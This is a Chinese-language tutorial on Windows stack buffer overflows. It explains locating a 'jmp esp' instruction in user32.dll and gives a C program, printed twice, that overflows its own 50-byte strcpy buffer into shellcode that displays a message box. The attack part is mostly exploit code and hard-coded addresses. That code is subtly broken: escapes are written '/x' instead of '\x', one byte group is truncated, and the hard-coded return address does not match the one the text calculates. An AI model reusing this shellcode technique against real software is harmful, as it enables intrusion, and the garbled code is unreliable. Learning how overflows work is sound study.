一: 缓冲区溢出是指当计算机程序向缓冲区内填充的数据位数超过了缓冲区本身的容量,溢出的数据覆盖在合法数据上,我们使用精心设计的shellcode 来覆盖合法的数据,从何使我们的shellcode 得到执行。
缓冲区溢出堆栈原理图:
二:需要解决的几个小问题:
2 .1 缓冲区溢出后,用“jmp esp “指令地址覆盖原来的函数返回地址,执行jmp esp 后,ip 指针便指向缓冲区中我们的shellcode 了,到哪去找“jmp esp “的地址呢?我们想到了windows 的动态连接库user32.dll ,我们在user32.dll 中找一个“jmp esp “指令的地址不就行了吗.
2 .2 将user32.dll 载入ue, 查找 FF E4, 可能有人会问,你怎么知道jmp esp 的机器码是FF E4? 那好,我们来动手找出它来,编一个asm 程序:
- #include<iostream>
- using namespace std;
- int main()
- {
- __asm
- {
- jmp esp;
- }
- return 0;
- }
#include<iostream>
using namespace std;
int main()
{
__asm
{
jmp esp;
}
return 0;
}
在VC中进入调试,然后查出JMP ESP对应的机器码
2 .3 确定FF E4 在user32.dll 中的偏移地址
2 .3 .1 用ue 打开user32.dll 查找FF E4,
2 .3 .2 用peditor r 载入user32.dll ,选择右侧的FLC, 在offset 处填上我们用ue 查出来FF E4 在文件中的偏移量,peditor 自动计算出FF E4 的virtual address,77 d2 74 47 。
嘿嘿~ ,偷懒的办法,你也可以自己动手计算。
2 .3 .3 动手计算:Va=16847h+77D10000h+c00h=77D27447 ,原理图如下:
在我机子上是(77D5B0E0)
在PEEDIT 中可以查出.text 段的Virtual offset 为1000h,Raw offset 400h,
1000h-400h=c00h, 即文件被装入内存后增加的部分
三.解决了以上几个小问题后,结合缓冲区溢出堆栈原理图和一个本地溢出的程序,使用vc7.0 反汇编调试一下,进一步动手实践。
给出我用来调试的程序:
- #include <string.h>
- #include <stdio.h>
- #include <windows.h>
- #define JUMPESP "/x28/x59/xD8/x77"//user32.dll中jmp esp指令的偏移量
- unsigned char eip[8] = JUMPESP;
- unsigned char sploit[] =
- {
- "/x60"
- "/x8B/xEC"
- "/x83/xEC/x54"
- "/x33/xC9"
- "/xC6/x45/xDB/x75"
- "/xC6/x45/xDC/x73"
- "/xC6/x45/xDD/x65"
- "/xC6/x45/xDE/x72"
- "/xC6/x45/xDF/x33"
- "/xC6/x45/xE0/x32"
- "/xC6/x45/xE7/x2E"
- "/xC6/x45/xE/x64"
- "/xC6/x45/xE9/x6C"
- "/xC6/x45/xEA/x6C"
- "/x88/x4D/xEB"
- "/x8D/x45/xDB"
- "/x50"
- "/xB8/x77/x1D/x80/x7C"
- "/xFF/xD0"
- "/x55"
- "/x51"
- "/x8B/xEC"
- "/x83/xEC/x54"
- "/x33/xC9"
- "/xC6/x45/xEC/x53"
- "/xC6/x45/xED/x75"
- "/xC6/x45/xEE/x63"
- "/xC6/x45/xEF/x63"
- "/xC6/x45/xF0/x65"
- "/xC6/x45/xF1/x73"
- "/xC6/x45/xF2/x73"
- "/x88/x4D/xF3"
- "/xC6/x45/xF4/x57"
- "/xC6/x45/xF5/x65"
- "/xC6/x45/xF6/x20"
- "/xC6/x45/xF7/x47"
- "/xC6/x45/xF8/x6F"
- "/xC6/x45/xF9/x74"
- "/xC6/x45/xFA/x20"
- "/xC6/x45/xFB/x49"
- "/xC6/x45/xFC/x74"
- "/xC6/x45/xFD/x21"
- "/x88/x4D/xFE"
- "/x51"
- "/x8D/x45/xEC"
- "/x50"
- "/x8D/x45/xF4"
- "/x50"
- "/x51"
- "/xB8/xEA/x04/xD5/x77"
- "/xFF/xD0"
- "/x33/xDB"
- "/x53"
- "/xB8/xA2/xCA/x81/x7C"
- "/xFF/xD0"
- "/x8B/xE5"
- "/x61"
- };
- int MyCopy( char * str )
- {
- char buff1[50];
- strcpy(buff1,str);
- return 1;
- }
- int main()
- {
- HINSTANCE u32=NULL;
- u32=LoadLibrary("user32.dll" );
- if (u32==NULL)
- {
- printf("cann't load user32.dll" );
- }
- char Buff[1024];
- memset(&Buff,0,sizeof (Buff));
- for ( int i=0;i<56;Buff[i++]=0x90);
- strcpy(Buff+56,(char *)eip); //
- strcpy(Buff+60,(char *)sploit); //
- MyCopy(Buff);
- printf("/n successed /n" );
- return 0;
- }
#include <string.h>
#include <stdio.h>
#include <windows.h>
#define JUMPESP "/x28/x59/xD8/x77"//user32.dll中jmp esp指令的偏移量
unsigned char eip[8] = JUMPESP;
unsigned char sploit[] =
{
"/x60"
"/x8B/xEC"
"/x83/xEC/x54"
"/x33/xC9"
"/xC6/x45/xDB/x75"
"/xC6/x45/xDC/x73"
"/xC6/x45/xDD/x65"
"/xC6/x45/xDE/x72"
"/xC6/x45/xDF/x33"
"/xC6/x45/xE0/x32"
"/xC6/x45/xE7/x2E"
"/xC6/x45/xE/x64"
"/xC6/x45/xE9/x6C"
"/xC6/x45/xEA/x6C"
"/x88/x4D/xEB"
"/x8D/x45/xDB"
"/x50"
"/xB8/x77/x1D/x80/x7C"
"/xFF/xD0"
"/x55"
"/x51"
"/x8B/xEC"
"/x83/xEC/x54"
"/x33/xC9"
"/xC6/x45/xEC/x53"
"/xC6/x45/xED/x75"
"/xC6/x45/xEE/x63"
"/xC6/x45/xEF/x63"
"/xC6/x45/xF0/x65"
"/xC6/x45/xF1/x73"
"/xC6/x45/xF2/x73"
"/x88/x4D/xF3"
"/xC6/x45/xF4/x57"
"/xC6/x45/xF5/x65"
"/xC6/x45/xF6/x20"
"/xC6/x45/xF7/x47"
"/xC6/x45/xF8/x6F"
"/xC6/x45/xF9/x74"
"/xC6/x45/xFA/x20"
"/xC6/x45/xFB/x49"
"/xC6/x45/xFC/x74"
"/xC6/x45/xFD/x21"
"/x88/x4D/xFE"
"/x51"
"/x8D/x45/xEC"
"/x50"
"/x8D/x45/xF4"
"/x50"
"/x51"
"/xB8/xEA/x04/xD5/x77"
"/xFF/xD0"
"/x33/xDB"
"/x53"
"/xB8/xA2/xCA/x81/x7C"
"/xFF/xD0"
"/x8B/xE5"
"/x61"
};
int MyCopy( char* str )
{
char buff1[50];
strcpy(buff1,str);
return 1;
}
int main()
{
HINSTANCE u32=NULL;
u32=LoadLibrary("user32.dll");
if(u32==NULL)
{
printf("cann't load user32.dll");
}
char Buff[1024];
memset(&Buff,0,sizeof(Buff));
for(int i=0;i<56;Buff[i++]=0x90);
strcpy(Buff+56,(char *)eip);//
strcpy(Buff+60,(char *)sploit);//
MyCopy(Buff);
printf("/n successed /n");
return 0;
}
调试步骤:
3 .1 在vc7.0 中按下 F11
3 .2 在发生溢出的函数MyCopy 那里下个断点( 按下F9).
==================================================================
3 .3 按F11 单步进入。
==================================================================
注意esp,ebp 的变化
3 .4 ret 后就来到我们的shellcode 了。